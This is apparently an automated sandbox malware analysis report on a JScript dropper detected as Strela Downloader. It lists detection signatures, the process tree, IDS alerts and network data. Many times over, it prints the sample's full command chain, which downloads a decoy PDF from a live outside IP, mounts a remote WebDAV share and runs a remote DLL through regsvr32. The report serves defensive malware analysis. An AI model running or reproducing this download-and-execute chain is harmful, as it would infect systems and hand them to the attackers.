Edit tour

Windows Analysis Report
30362110952254914638.js

Overview

General Information

Sample name:	30362110952254914638.js
Analysis ID:	1588559
MD5:	11d92c51d413f96e8a0bb156ab334cef
SHA1:	63ceb9bc908498bd8c7c8dc0e56aa56a89dfec8a
SHA256:	11807051ef69f7b27fb541cd526d7d414131873b418a88f2d312bcfb1e56107e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4040 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3872 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 712 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4188 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5700 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1696,i,977572932083248212,16094357468333576561,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7080 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2996 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5696 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4040	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 712, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 712, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ProcessId: 4040, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2996, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49757

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4040, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4040, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4040, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4040, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4040, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ProcessId: 4040, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 712, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7080, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2996, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5696, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7080, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2996, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4040, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll, ProcessId: 3872, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:53.718891+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49741	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:56.268494+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49757	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:53.718891+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49741	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 30362110952254914638.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 30362110952254914638.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49741 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49757 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:23:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 8888
